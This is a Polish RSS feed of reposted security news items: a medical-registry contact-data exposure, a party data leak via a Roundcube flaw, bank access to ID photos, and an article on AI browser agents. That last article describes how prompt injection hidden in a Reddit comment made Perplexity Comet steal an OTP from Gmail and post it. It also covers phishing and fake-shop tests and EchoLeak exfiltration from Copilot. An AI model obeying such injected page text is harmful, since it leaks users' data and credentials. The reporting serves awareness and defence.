To takand#380;e dobre miejsce, aby zastanowiand#263; siand#281;, czy lekarze, majand#261;cy dostand#281;p do wraand#380;liwych danych medycznych pacjentand#243;w, do swoich zawodowych obowiand#261;zkand#243;w wykorzystywali skrzynki na GMailu czy WP, albo innych serwisach pocztowych, nie mand#243;wiand#261;c juand#380;and#160;o konwersacjach z pacjentami na Messengerzeand#8230; Ale to temat na osobny artykuand#322;
Rejestry rzand#261;dowe to nie tylko and#8220;problemand#8221; lekarzy
Kaand#380;da osoba wykonujand#261;ca zawand#243;d zaufania publicznego musi siand#281; liczyand#263; z funkcjonowaniem w rejestrach publicznych. W samej tylko ochronie zdrowia oprand#243;cz RPWDL mamy np. rejestr lekarzy NIL oraz Centralny Rejestr Pieland#281;gniarek i Poand#322;oand#380;nych. To samo dotyczy farmaceutand#243;w, weterynarzy, przedstawicieli zawodand#243;w prawniczych czyand#8230; diagnostand#243;w laboratoryjnych. Ci ostatni mieli pecha w roku 2023, kiedy Krajowa Izba Diagnostand#243;w Laboratoryjnych (KIDL) dokonywaand#322;a aktualizacji danych wynikajand#261;cej z przepisand#243;w ustawy o medycynie laboratoryjnej (por.and#160;Jak moand#380;na byand#322;o podejrzeand#263; dane osobowe diagnostand#243;w?). Wand#243;wczas do zaand#322;oand#380;enia konta w systemie wystarczaand#322; numer prawa do wykonywania zawodu oraz PESEL (a te dane moand#380;na and#322;atwo ustaliand#263;, z wielu and#378;rand#243;deand#322;,and#160;ktand#243;re w szczegand#243;and#322;ach omawiamy tu). Podobny problem dotyczyand#322; Bazy Usand#322;ug Rozwojowych. Figurujand#261;ce w niej osoby prowadzand#261;ce szkolenia mogand#322;y udostand#281;pniaand#263; kopie dokumentand#243;w potwierdzajand#261;cych uprawnienia, a w tych kopiach mogand#322;y siand#281; znaleand#378;and#263; dane takie jak PESEL czy adres zamieszkania. Zdziwieni czand#281;sto bywajand#261; teand#380; niektand#243;rzy prawnicy, do ktand#243;rych dzwonimy na numery z ich rejestru i sand#322;yszymy w sand#322;uchawce wypowiadane uraand#380;onym gand#322;osem pytanie: and#8220;A skand#261;d Pan ma mand#243;j prywatny numer?and#8221;.
Choand#263; systemy informacyjne mogand#261; zagraand#380;aand#263; prywatnoand#347;ci to naleand#380;y teand#380; pamiand#281;taand#263;, and#380;e ich istnienie jest waand#380;ne dla pewnoand#347;ci obrotu gospodarczego i jakoand#347;ci usand#322;ug. W tym miejscu warto odnotowaand#263;, and#380;eand#160;w Polsce nie ma rejestru psychologand#243;w i psychoterapeutand#243;w. I to jest problem, bo ludzi leczyand#263;and#160;mogand#261; szarlatani wprowadzajand#261;cy w band#322;and#261;d co do swoich kwalifikacji.
Krand#243;tko mand#243;wiand#261;c, dla niektand#243;rych zawodand#243;w dbanie o swojand#261; prywatnoand#347;and#263; (lub aktualnoand#347;and#263; danych w rejestrach) rzeczywiand#347;cie moand#380;e stawaand#263; siand#281; pewnym wyzwaniem and#8212; ale znajand#261;c pewne triki, da siand#281;and#160;w sieci zachowaand#263; wiand#281;cej prywatnoand#347;ci i spokoju ducha niand#380; mniej. Zainteresowanych poznaniem tych trikand#243;wand#160;odsyand#322;amy tutaj.
Aktualizacja 10.07.2025 8:39
Centrum eZdrowia przesand#322;aand#322;o do naszej redakcji nastand#281;pujand#261;ce oand#347;wiadczenie.

Rejestr Podmiotand#243;w Wykonujand#261;cych Dziaand#322;alnoand#347;and#263; Leczniczand#261; (RPWDL) jest jawny, kaand#380;dy moand#380;e zobaczyand#263; znajdujand#261;ce siand#281; w nim dane (zgodnie z art. 106 ust. 1a ustawy z dnia 15 kwietnia 2011 r. o dziaand#322;alnoand#347;ci leczniczej). Zgodnie z przepisami w ksiand#281;dze rejestrowej praktyki zawodowej lekarza wpisuje siand#281; w rubryce dziewiand#261;tej and#8211; numer telefonu, a w rubryce dziesiand#261;tej and#8211; adres poczty elektronicznej (w myand#347;l and#167; 8 ust. 1 pkt 9 i 10 rozporzand#261;dzenia Ministra Zdrowia z dnia 29 marca 2019 r. w sprawie szczegand#243;and#322;owego zakresu danych objand#281;tych wpisem do rejestru podmiotand#243;w wykonujand#261;cych dziaand#322;alnoand#347;and#263; leczniczand#261; oraz szczegand#243;and#322;owego trybu postand#281;powania w sprawach dokonywania wpisand#243;w i zmian w rejestrze oraz wykreand#347;leand#324; z tego rejestru).
W obu przypadkach chodzi o numer telefonu i adres poczty elektronicznej, ktand#243;re sand#261; zwiand#261;zane z wykonywaniem dziaand#322;alnoand#347;ci leczniczej przez lekarza (przedsiand#281;biorcand#281;) wykonujand#261;cego tand#281; dziaand#322;alnoand#347;and#263; w ramach praktyki zawodowej. W omawianym rejestrze nie ujawnia siand#281; danych odnoszand#261;cych siand#281; do innych aktywnoand#347;ci and#380;yciowych lekarza jako osoby prywatnej.
Dane zawarte w Rejestrze pochodzand#261; z wniosku skand#322;adanego przez osoby, ktand#243;re dokonujand#261; wpisu w Rejestrze (np. lekarze). Mogand#322;o wiand#281;c dojand#347;and#263; do sytuacji, w ktand#243;rej w skand#322;adanym wniosku znalazand#322;y siand#281; band#322;and#281;dne dane and#8211; np. lekarz przez pomyand#322;kand#281; wpisaand#322; swand#243;j numer prywatny albo telefon, ktand#243;ry poczand#261;tkowo sand#322;uand#380;yand#322; do celand#243;w prywatnych i sand#322;uand#380;bowych, staand#322; siand#281; z biegiem czasu telefonem wyand#322;and#261;cznie prywatnym. Jako Centrum e-Zdrowia, z uwagi na napand#322;ywajand#261;ce do nas sygnaand#322;y, zdecydowaliand#347;my siand#281; tymczasowo zablokowaand#263; widok adresand#243;w mailowych i telefonand#243;w. Osobom, ktand#243;rych dane sand#261; w RPWDL, zalecamy sprawdzenie czy informacje podane we wniosku sand#261; nadal aktualne. Jeand#347;li nie and#8211; naleand#380;y je zaktualizowaand#263;.

Aktualizacja 10.07.2025 14:47
Skierowaliand#347;my do CeZ dodatkowe pytania. Chcieliand#347;my siand#281; dowiedzieand#263; czy w RPWDL w poprzedniej wersji teand#380; zawarte byand#322;y takie dane kontaktowe? Chodziand#322;o nam zwand#322;aszcza o to aby ustaliand#263;, czy dane lekarzy mogand#322;y siand#281; niespodziewanie ujawniand#263; w wyniku aktualizacji systemu? CeZ przesand#322;aand#322;o nastand#281;pujand#261;cand#261; odpowiedand#378;.

RPWDL w poprzedniej wersji rand#243;wnieand#380; przez pewien czas pokazywaand#322; dane kontaktowe. Po konsultacjach z lekarzami, decyzjand#261; Ministerstwa Zdrowia, widok danych kontaktowych przestaand#322; byand#263; widoczny. Naleand#380;y jednak podkreand#347;laand#263;, and#380;e zarand#243;wno w pierwszej wersji RPWDL, jak i w RPWDL 2.0 widoczne sand#261; dane wyand#322;and#261;cznie publiczne and#8211; to nie sand#261; dane osobowe w rozumieniu RODO. Jeand#347;li ktoand#347; uand#380;ywa jednego numeru zarand#243;wno do celand#243;w prywatnych, jak i sand#322;uand#380;bowych, ale podaje go jako numer kontaktowy prowadzonej praktyki zawodowej, to ten numer zalicza siand#281; do danych publicznych. Zgodnie z obowiand#261;zujand#261;cym prawem RPWDL to rejestr jawny, a dane w nim widoczne sand#261; podawane przez osoband#281; skand#322;adajand#261;cand#261; wniosek o wpis do rejestru.and#160;Dlatego jeszcze raz apelujemy o aktualizowanie danych na bieand#380;and#261;co.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 10 lipca 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Wyciek danych sympatyków partii Sławomira Mentzena Nowa Nadzieja ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1570</link>
			<description><![CDATA[ Na internetowym forum dla cyberprzestand#281;pcand#243;w opublikowano bazand#281; danych partii Nowa Nadzieja zaand#322;oand#380;onej przez Sand#322;awomira Mentzena. To juand#380; drugi w tym roku wyciek danych z serwerand#243;w tej partii. Do pierwszego doszand#322;o 16 marca tego roku.

and#8220;Beznadziejna odpornoand#347;and#263; na phishingand#8221;
Publikujand#261;cy bazand#281; uand#380;ytkownik informuje, and#380;e dane tym razem mial wykraand#347;and#263; ze wzgland#281;du na niezaand#322;atanand#261; dziurand#281;and#160;w oprogramowaniu Roundcube and#8212; i sugeruje, and#380;e odpornoand#347;and#263; osand#243;b zwiand#261;zanych z Nowand#261; Nadziejand#261; na phishing jest zerowa.
Opublikowany plik z bazand#261; zawiera rekordy z danymi:


3300and#160;czand#322;onkand#243;w (uprzednio ujawnionych),
1564and#160;wolontariuszy,
spis kanaand#322;and#243;w telegramowych (xD)





a takand#380;e treand#347;ci e-maili (kilkudziesiand#281;ciu, prawdopodobnie wszystkie pochodzand#261; z jednej skrzynki)



Wykradzione dane osobowe wolontariuszy pochodzand#261; z obszaru pomorza zachodniego i okresuand#160;4 wrzeand#347;nia 2024 and#8211; 16 czerwca 2025. Zawierajand#261;:

Imiand#281; i nazwisko
PESEL
Adres e-mail (tylko w przypadku wolontariuszy)
Telefon (tylko w przypadku wolontariuszy)
Miasto i/lub kod pocztowy
Notatki i proand#347;by, np. o wysand#322;anie czapki z Mentzenem albo naklejek na tablice rejestracyjne


Jedna uwaga techniczna. Webmail Roundcube, z ktand#243;regoand#160;rzeczywiand#347;cie korzystaand#160;partia Mentzena, miaand#322;and#160;ostatnio gruband#261;and#160;podatnoand#347;and#263;and#160;(CVE-2025-49113) pozwalajand#261;cand#261; na zdalne wykonanie kodu, ale przez uwierzytelnionego uand#380;ytkownika. To and#8220;spina siand#281;and#8221; z atakiem phishingowym, o ktand#243;rym wspomina atakujand#261;cy i pokrywa teand#380; z zakresem dat rekordand#243;w przez niego ujawnionych (data luki to 2 czerwca 2025, a najand#347;wieand#380;sze dane sand#261; z 16 czerwca, co mogand#322;oby sugerowaand#263;, and#380;e serwera nie zaand#322;atano przez 2 tygodnie). Tylko czy w przypadku udanego ataku RCE wand#322;amywacz nie miaand#322;by danych takand#380;e z innych skrzynek, ktand#243;rymi chciaand#322;by siand#281; and#8220;pochwaliand#263;and#8221;?
Wand#322;amywacz ostrzega Sand#322;awomira Mentzena
Publikacja bazy danych koand#324;czy siand#281;and#160;ostrzeand#380;eniemand#160;od wand#322;amywacza dla Sand#322;awomira Mentzena:

Jeand#347;li zrobisz to co planujesz, zaatakujand#281; twojand#261; firmand#281;

Co na to partia?
Przesand#322;aliand#347;my pytania i czekamy na odpowiedand#378;. Byand#263; moand#380;e nawet odpisze nam sam wand#322;amywacz, jeand#347;li jeszcze kontroluje Roundcubaand#8230; Spodziewajcie siand#281; rychand#322;ej aktualizacji tego tekstu.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 4 sierpnia 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Banki będą miały dostęp do zdjęć z Rejestru Dowodów Osobistych ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1569</link>
			<description><![CDATA[ Ustawa dajand#261;ca bankom moand#380;liwoand#347;and#263; porand#243;wnania zdjand#281;cia w dowodzie osobistym z tym, ktand#243;re znajduje siand#281; w paand#324;stwowym rejestrze, zostaand#322;a podpisana przez Prezydenta. Niestety, musi minand#261;and#263; jeszcze wiele miesiand#281;cy zanim przepisy wejdand#261; w and#380;ycie.

W ubiegand#322;ym tygodniu Prezydentand#160;podpisaand#322;and#160;nowelizacjand#281; ustawy o informatyzacji dziaand#322;alnoand#347;ci podmiotand#243;w realizujand#261;cych zadania publiczne. Nie jest to moand#380;e najciekawszy news wakacyjny, ale z naszego punktu widzenia jest to doand#347;and#263; waand#380;ne bo oto powstaand#322;a nowa ustawa utrudniajand#261;ca kradzieand#380;e toand#380;samoand#347;ci.
Kiedy bank dostanie Twojand#261; fotkand#281;?
O tej ustawieand#160;pisaliand#347;my juand#380; maju, gdy byand#322;a na etapie prac rzand#261;dowych. Przypomnijmy w skrand#243;cie co ma zmieniand#263; ten akt prawny:

Bankiand#160;(a takand#380;e inne instytucje)and#160;w trakcie weryfikowania dowoduand#160;osobistego band#281;dand#261; miaand#322;y moand#380;liwoand#347;and#263;and#160;sprawdzenia fotografii przechowywanej w rejestrze Rejestrze Dowodand#243;w Osobistychand#160;(RDO).
Dostand#281;p do fotografii band#281;dzie and#8220;dwustopniowyand#8221;.

Najpierw usand#322;ugodawca (np. bank) band#281;dzie musiaand#322; sprawdziand#263; dane z dowodu osobistego i potwierdziand#263;, czy sand#261; one poprawne.
Jeand#347;li wynik weryfikacji band#281;dzie pozytywny to usand#322;ugodawcy udostand#281;pniona zostanie fotografia z RDO.
Jeand#347;li wynik band#281;dzie negatywny to usand#322;ugodawca dowie siand#281;, ktand#243;ra z danych zostaand#322;a zweryfikowana negatywnie. Moand#380;e teand#380; otrzymaand#263; informacjand#281;, and#380;e dokument zostaand#322; uniewaand#380;niony, ale w obu tych przypadkach nie band#281;dzie juand#380; moand#380;liwoand#347;ci sprawdzenia fotografii.


Usand#322;ugand#281; udostand#281;pniania zdjand#281;and#263; zapewni Minister Cyfryzacji.
Udostand#281;pnieniu band#281;dzie podlegaand#322;a wyand#322;and#261;cznie fotografia zamieszczona w ostatnim wydanym dowodzie osobistym, ktand#243;ry w dniu dokonywania jego weryfikacji byand#322; dokumentem waand#380;nym (czyli nie band#281;dzie moand#380;liwoand#347;ci uzyskania fotografii z dokumentu uniewaand#380;nionego).

To rozwiand#261;zanie prawne moand#380;e zapobiec naduand#380;yciom z wykorzystaniem tzw. dokumentand#243;w kolekcjonerskich (faand#322;szywek przypominajand#261;cych prawdziwy dokument). Banki zabiegaand#322;y o takie rozwiand#261;zanie od lat. Oprand#243;cz bankand#243;w dostand#281;p do fotografii z RDO band#281;dand#261; mogli uzyskaand#263;: dostawcy usand#322;ug telekomunikacyjnych, dostawcy usand#322;ug pand#322;atniczych, SKOK-i, kwalifikowani dostawcy usand#322;ug zaufania, kredytodawcy oraz podmioty wydajand#261;ce and#347;rodki identyfikacji elektronicznej, firmy inwestycyjne oraz towarzystwa funduszy inwestycyjnych.

To jest and#8220;grawerowanie na wyskokand#8221;. Wypukand#322;oand#347;and#263; tekstu, wyczuwalna i widoczna w czasie ogland#261;dania pod rand#243;and#380;nymi kand#261;tami z bocznym oand#347;wietleniem. Dowody osobiste powinny coand#347; takiego mieand#263; na nazwisku posiadacza (przynajmniej te wydawane po 2013 r.)

Kwestia dostand#281;pu do fotografii z RDO nie jest ani jedynand#261;, ani pierwszorzand#281;dnand#261; kwestiand#261;, ktand#243;rand#261; ta ustawa ma regulowaand#263;.
Przede wszystkim ustawa ma uproand#347;ciand#263; zasady udostand#281;pniania danych z rejestrand#243;w prowadzonych przez ministra wand#322;aand#347;ciwego do spraw informatyzacji (tzn. danych z rejestru danych kontaktowych osand#243;b fizycznych, CEPiK, rejestru zastrzeand#380;eand#324; numerand#243;w PESEL, rejestru PESEL, rejestru stanu cywilnego, Rejestru Dokumentand#243;w Paszportowych oraz wspomnianego juand#380; RDO). Ustawa wprowadzi teand#380; moand#380;liwoand#347;and#263; udostand#281;pniania niektand#243;rym podmiotom (m.in. bankom) danych o seriach, numerach i datach waand#380;noand#347;ci waand#380;nych dowodand#243;w osobistych ich klientand#243;w, wydanych na skutek zmiany dowodu osobistego, w celu weryfikacji aktualnoand#347;ci i aktualizacji tych danych. Dane te band#281;dand#261; udostand#281;pnianeand#160;odpand#322;atnie. Wiand#281;cej szczegand#243;and#322;and#243;w w naszym poprzednim tekand#347;cie:and#160;Banki mogand#261; zyskaand#263; dostand#281;p do zdjand#281;and#263; z Rejestru Dowodand#243;w Osobistych.
Trzeba przyznaand#263;, and#380;e ta ustawa zostaand#322;a doand#347;and#263; szybko przepchniand#281;ta przez proces legislacyjny. Prace nad niand#261; ruszyand#322;y w kwietniu. Projekt wpand#322;ynand#261;and#322; do Sejmu 14 maja, a pod koniec czerwca byand#322; juand#380; w Senacie. Na biurko Prezydenta ustawa trafiand#322;a 21 lipca. Oczywiand#347;cie przepisy nie od razu wejdand#261; w and#380;ycie.

Tand#322;oczone linie giloszowe w polu zdjand#281;cia powinny nachodziand#263; na fotografiand#281; na jej caand#322;ej powierzchni. Majand#261; byand#263; widoczne przy ogland#261;daniu pod kand#261;tem, wyczuwalne, wyraand#378;ne, bez znieksztaand#322;ceand#324; i przerw.

Kluczowe pytanie and#8211; od kiedy?
Generalnie ustawa wejdzie w and#380;ycie 14 dni po ogand#322;oszeniu, ale przepisy dotyczand#261;ce udostand#281;pniania fotografii z RDO wejdand#261; w and#380;ycie dopieroand#160;30 czerwca 2026 roku. Zgadujemy, and#380;e trochand#281; czasu zajmie przygotowanie usand#322;ugi po stronie Ministerstwa Cyfryzacji. Z pewnym opand#243;and#378;nieniem (w kwietniu 2026) wejdand#261; teand#380; w and#380;ycie przepisy dotyczand#261;ce rejestru podrand#243;and#380;ujand#261;cych. Ten jeden rejestr zastand#261;pi rand#243;and#380;ne wykazy polskich obywateli przebywajand#261;cych w okrand#281;gu konsularnym, ktand#243;re sand#261; obecnie prowadzone fakultatywnie przez konsuland#243;w.
and#160;
and#378;rand#243;dand#322;o niebezpiecznik.pl 30 lipca 2025 ]]></description>
		</item><item>
			<title><![CDATA[ Twój agent AI może ukraść dane lub nabrać się na phishing. I co teraz? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1568</link>
			<description><![CDATA[ Agenty AI dziaand#322;ajand#261;ce w przegland#261;darkach nie zawsze odrand#243;and#380;niajand#261; instrukcje uand#380;ytkownika od niezaufanych treand#347;ci stron. Moand#380;na to wykorzystaand#263; m.in. do wykradania danych z przegland#261;darki uand#380;ytkownika. Nadciand#261;ga nowa klasa bardzo and#322;atwych do przeprowadzenia atakand#243;w. Najbardziej zaboli to firmy, bo wyciek danych and#8220;sand#322;uand#380;bowychand#8221; moand#380;e wiand#261;zaand#263;and#160;siand#281;and#160;z powaand#380;nymi problemamiand#8230;
Agentic browsing
Na blogu twand#243;rcand#243;w przegland#261;darkiand#160;Braveand#160;pojawiand#322; siand#281; wpis o bezpieczeand#324;stwie tzw. and#8220;agentic browsinguand#8221;, czyli przegland#261;dania sieci z uand#380;yciem asystentand#243;w AI, ktand#243;re podsumowujand#261; przegland#261;dane treand#347;ci albo wykonujand#261; inne zadania na ich podstawie. Brave sama w sobie jest twand#243;rcand#261; takiego agenta o nazwie Leo, ktand#243;re choand#263; niewand#261;tpliwie pomocne, to jednak wprowadza do and#8220;korzystania z przegland#261;darkiand#8221; nowe ryzyka and#8212; nieautoryzowany dostand#281;p do wraand#380;liwych danych uand#380;ytkownika np. w trakcie korzystania z e-bankowoand#347;ci czy telemedycyny. Ekipa Brave nie analizowaand#322;a swojego agenta, aand#8230; na cel wziand#281;and#322;a konkurencyjne rozwiazanie: Perplexity Comet, przegland#261;darkand#281; z funkcjami AI coraz bardziej rozpoznawalnej wyszukiwarki intenretowej.
Perplexity Comet ma dziurand#281;, ktand#243;rej nie jest w stanie zaand#322;ataand#263;
Band#322;and#261;d zostaand#322; wykryty 25 lipca i zgand#322;oszono go do Perplexity. Potwierdzono istnienie luki i dwa dni pand#243;and#378;niej jand#261; poprawiono. 28 lipca okazaand#322;o siand#281;, and#380;e wprowadzone poprawki byand#322;y niewystarczajand#261;ce. Kolejnand#261; and#322;atkand#281; wprowadzono 13 sierpnia, a 20 sierpnia Brave ujawniand#322;o sprawand#281; publicznie. A potem okazaand#322;o siand#281;, and#380;e podatnoand#347;and#263; i tak nie zostaand#322;a zaand#322;atana w peand#322;niand#8230; Ciand#281;and#380;ko siand#281; te agenty and#322;ata, najwyraand#378;niej.
Na czym polegaand#322; atak prompt injection w agencie AI
Twand#243;rcy Brave zauwaand#380;yli, and#380;e kiedy uand#380;ytkownik Comet prosi np. o streszczenie strony, Comet przekazuje fragment tej strony bezpoand#347;rednio do swojego LLM (modelu jand#281;zykowego), nie dokonujand#261;c rozrand#243;and#380;nieand#324; pomiand#281;dzy poleceniami uand#380;ytkownika i treand#347;ciand#261; strony. To umoand#380;liwia osadzanie na stronie zand#322;oand#347;liwych instrukcji (tzw.and#160;prompt injection), ktand#243;re po uruchomieniu agenta (np. w celu podsumowania treand#347;ci strony) band#281;dand#261; traktowane jako polecenia.
W ten sposand#243;b moand#380;na zmusiand#263; przegland#261;darkand#281; np. do otwarcia okreand#347;lonej strony i wydobycia z niej okreand#347;lonej informacjiand#160;(np. adresu e-mail). Comet jest w stanie wykonywaand#263; takie zand#322;oand#347;liwe instrukcje, wand#322;and#261;cznie z przejand#347;ciem na stronand#281; webmaila, wydobyciem z niej jakiejand#347; treand#347;ci i opublikowania tej treand#347;ci w social mediach. Na koniec AI jest instruowane, aby uand#380;ytkownika poinformowaand#263; jedynie o tym, and#380;e nie daand#322;o siand#281; wykonaand#263; podsumowania strony. Badacze Brave przedstawili film z demonstracjand#261; ataku:

Jak widaand#263;, uand#380;ytkownik odwiedza wpis na Reddicie, gdzie w komentarzu ukryto prompt injection (za pomocand#261; funkcji spoilera). Narzand#281;dzie AI pobiera adres e-mail uand#380;ytkownika ze strony Perplexity, loguje siand#281; na konto Perplexity z wykorzystaniem tego adresu i odebraniem jednorazowego hasand#322;a (OTP), odczytuje OTP ze skrzynki Gmail (na ktand#243;rej uand#380;ytkownik jest juand#380; zalogowany) i przesyand#322;a adres e-mail i OTP w odpowiedzi do komentarza na Reddicie.

and#377;rand#243;dand#322;p: Guard.io

Zmiana paradygmatu hackowaniaand#8230;

Innymi sand#322;owy, atakujand#261;cy nie musi niczego and#8220;hakowaand#263;and#8221;. Wystarczy, and#380;e zostawi sand#322;owny opis tego, co chciaand#322;by wydobyand#263; z przegland#261;darki ofiary, a resztand#281;and#160;zrobi sam agent AI po stronie uand#380;ytkownika. Skojarzenie z dand#380;inem lub zand#322;otand#261; rybkand#261; (oczywiand#347;cie w czarnym kapturze) jest poprawne. Wygland#261;da na to, and#380;e zmieniand#322;and#160;siand#281;and#160;paradygmat hackingu. W czasach agentand#243;w AI hakerem moand#380;e byand#263; kaand#380;dy, kto zechce and#8212; wystarczy, and#380;e potrafi sand#322;owami opisaand#263; skutek swojego ataku. Wszystko dziand#281;ki temu, and#380;e agent AI ma dostand#281;p do caand#322;oand#347;ci przegland#261;darki i potrafi dziaand#322;aand#263; na uwierzytelnionych sesjach uand#380;ytkownika-ofiary.

Jeand#347;li chcecie uczuliand#263; swoich pracownikand#243;w na ryzyka zwiand#261;zane z rand#243;and#380;nego rodzaju rozwiand#261;zaniami i narzand#281;dziami AI, z ktand#243;rymi coraz czand#281;and#347;ciej muszand#261; mieand#263; stycznoand#347;and#263;, to zamand#243;wcie nasz wykand#322;ad pt. and#8220;AI nas nie zabije. Chybaand#8230;and#8220;. Ta prelekcja w przystand#281;pny, peand#322;ny praktycznych porad i przykand#322;adand#243;w sposand#243;b opisujeand#160;jak bezpiecznie korzystaand#263; ze and#8220;sztucznej inteligencjiand#8221; w firmowym and#347;rodowisku. Dziand#281;ki niej pracownicy dowiedzand#261; siand#281;and#160;jak pracowaand#263; szybciej, wydajniej, sprawniej, ale takand#380;e and#8212; na co powinni uwaand#380;aand#263; i gdzie naraand#380;ona moand#380;e zostaand#263; zarand#243;wno poufnoand#347;and#263; firmowych danych a takand#380;e ich wand#322;asna prywatnoand#347;and#263;. Jest sporo case studies z polskiego rynku. Jest teand#380;and#160;sporo humoru, dziand#281;ki czemu ten wykand#322;ad and#347;wietnie sprawdza siand#281;and#160;podczas firmowych konferencji i wyjazdand#243;w integracyjnych. and#346;rednia ocen klientand#243;w to 9,89/10. Wykand#322;ad moand#380;emy zrealizowaand#263; and#8220;na and#380;ywoand#8221;, w Waszej siedzibie, albo zdalnie na Teamsach lub Zoomie. Aby otrzymaand#263; agendand#281; i wycenand#281;, napiszcie na szkolenia@niebezpiecznik.pl lub zadzwoand#324;cie pod 12 44-202-44.
Jak to naprawiand#263;?
Twand#243;rcy Braveand#8217;a sugerujand#261;, and#380;e agent AI powinien domyand#347;lnie traktowaand#263; treand#347;and#263; strony jako treand#347;and#263; and#8220;niezaufanand#261;and#8221;, odrand#281;bnand#261; od bezpoand#347;rednich instrukcji uand#380;ytkownika. Poza tym niezaleand#380;nie od wczeand#347;niejszych planand#243;w i zadaand#324; agenta, model powinienand#160;zawsze wymagaand#263; wyraand#378;nej interakcji uand#380;ytkownikaand#160;przy zadaniach wraand#380;liwych takich jak wysyand#322;anie e-maila. Agent nigdy nie teand#380; nie powinien automatycznie omijaand#263; pewnych rzeczy np. ostrzeand#380;eand#324; o band#322;and#281;dzie poand#322;and#261;czenia TLS.
and#8212;and#160;Jak w przypadku wszystkiego w przegland#261;darce, uprawnienia powinny byand#263; moand#380;liwie minimalne. Rozbudowane moand#380;liwoand#347;ci agentowe powinny byand#263; oddzielone od zwykand#322;ych zadaand#324; przegland#261;dania, a ta rand#243;and#380;nica powinna byand#263; intuicyjnie oczywista dla uand#380;ytkownikaand#160;and#8212; czytamy na blogu Brave.
To nie Perplexity tylkoand#8230; Scamflexity!
Mniej litoand#347;ci dla twand#243;rcand#243;w Comet mieli inni badacze zand#160;Guardio, ktand#243;rzy rand#243;wnieand#380; postanowili poddaand#263; Perplexity Comet testom bezpieczeand#324;stwa, ale od nieco innej strony. Poniewaand#380; agent moand#380;e coand#347; kupiand#263; dla swojego uand#380;ytkownika, badacze Guardio postanowili sprawdziand#263;, czy band#281;dzie on w stanie wykryand#263; faand#322;szywy sklep i to taki, z ktand#243;rym ewidentnie jest coand#347; nie tak. Na takie oszustwaand#160;dajand#261; siand#281; nabieraand#263; ludzie, ale nie zawsze. A Comet?and#160;Comet daand#322; siand#281; nabraand#263;. Strona faand#322;szywego sklepu zaand#322;adowaand#322;a siand#281; bez problemu iand#160;w jej odwiedzeniu nie przeszkodziand#322; Google Safe Browsing, mimo and#380;e GSB byand#322; aktywny w tej przegland#261;darce.
Perplexity Comet znalazand#322; Apple Watch, dodaand#322; go do koszyka i, bez pytania o potwierdzenie, automatycznie wypeand#322;niand#322; zapisany w przegland#261;darce adres oraz dane karty kredytowej. Kilka sekund pand#243;and#378;niej and#8222;zakupand#8221; byand#322; juand#380; zakoand#324;czony. Jeden komunikat, kilka chwil zautomatyzowanego przegland#261;dania bez and#380;adnej kontroli czand#322;owieka i szkoda zostaand#322;a wyrzand#261;dzonaand#160;and#8212; czytamy na blogu Guardio.
Nie to byand#322;o jednak najgorsze. Badacze Guardio stworzyli teand#380;and#160;phishingowego e-maila, rzekomo od menedand#380;era inwestycyjnego Wells Fargo (mail byand#322; wysand#322;any z domeny ProtonMaila, czyli niezbyt wiarygodnie wygland#261;daand#322;). W and#347;rodku znajdowaand#322; siand#281; link do strony phishingowej, aktywnej w sieci przez kilka dni ale wciand#261;and#380; nieoznaczonej przez Google Safe Browsing. Comet oznaczyand#322;and#160;e-mail jakoand#160;zadanie do wykonania od banku. Kliknand#261;and#322; w link bez and#380;adnej weryfikacji, bez sprawdzania adresu URL czy ostrzeand#380;enia. Gdy faand#322;szywe logowanie do Wells Fargo siand#281; zaand#322;adowaand#322;o, Comet potraktowaand#322; je jako prawdziwe. Poprosiand#322; uand#380;ytkownika o wprowadzenie danych uwierzytelniajand#261;cych, a nawet pomand#243;gand#322; wypeand#322;niand#263; formularz.

Testujand#261;c Comet badacze z Guardio zrobili coand#347; jeszcze, co okreand#347;lili mianemand#160; PromptFix. Chodziand#322;o o scenariusz prompt injection, w ktand#243;rym uand#380;yto faand#322;szywej strony CAPTCHA ukrywajand#261;cej instrukcje dla agenta AI w kodzie and#378;rand#243;dand#322;owym. Comet zinterpretowaand#322; ukryte instrukcje jako prawidand#322;owe polecenia i kliknand#261;and#322; przycisk and#8222;CAPTCHAand#8221;, co spowodowaand#322;o pobranie zand#322;oand#347;liwego pliku.

and#377;rand#243;dand#322;o: Guard.io

Badacze Guardio mimo wszystko podkreand#347;lajand#261;, and#380;e ich badania sand#261; powierzchowne, a temat bezpieczeand#324;stwa agentand#243;w AI naleand#380;y czand#281;and#347;ciej braand#263; na warsztat. Powierzchnia ataku wydaje siand#281; wiand#281;ksza niand#380; do tej pory sand#261;dzono poniewaand#380;and#160;AI ma te same sand#322;abe punkty co ludzie. Narzand#281;dzia agentic browsing nie sand#261;and#160;jeszczeand#160;narzand#281;dziami gand#322;and#243;wnego nurtu, ale lepiej band#281;dzie rozwiand#261;zaand#263; problemy bezpieczeand#324;stwa zanim to siand#281; stanie.and#160;

Na deser: Echo Leak
W kontekand#347;cie opisanych wyand#380;ej problemand#243;w warto przypomnieand#263; o jeszcze jednym. W poand#322;owie czerwca w narzand#281;dziu Microsoft Copilot znaleziono band#322;and#261;d, ktand#243;ry okreand#347;lono jakoand#160;Echo Leak. Nie sposand#243;b go porand#243;wnywaand#263; do problemand#243;w opisanych powyand#380;ej (choand#263; atak jest bardziej zand#322;oand#380;ony).
Echo Leak wykorzystuje prompt injection za pomocand#261; pozornie nieszkodliwego e-maila, omijajand#261;c klasyfikatory XPIA Microsoftu i filtry redakcji linkand#243;w dziand#281;ki formatowaniu w Markdown. Nastand#281;pnie wykorzystuje zaufane domeny, takie jak Microsoft Teams, aby obejand#347;and#263; polityki bezpieczeand#324;stwa treand#347;ci i wysand#322;aand#263; dane na serwer kontrolowany przez atakujand#261;cego. Tu trzeba zaznaczyand#263;, and#380;e Echo Leak to doand#347;and#263; nowatorski zbieg rand#243;and#380;nych luk, obejmujand#261;cy zarand#243;wno tradycyjne podatnoand#347;ci (takie jak obejand#347;cie Content Security Policy) jak i prompt injection.
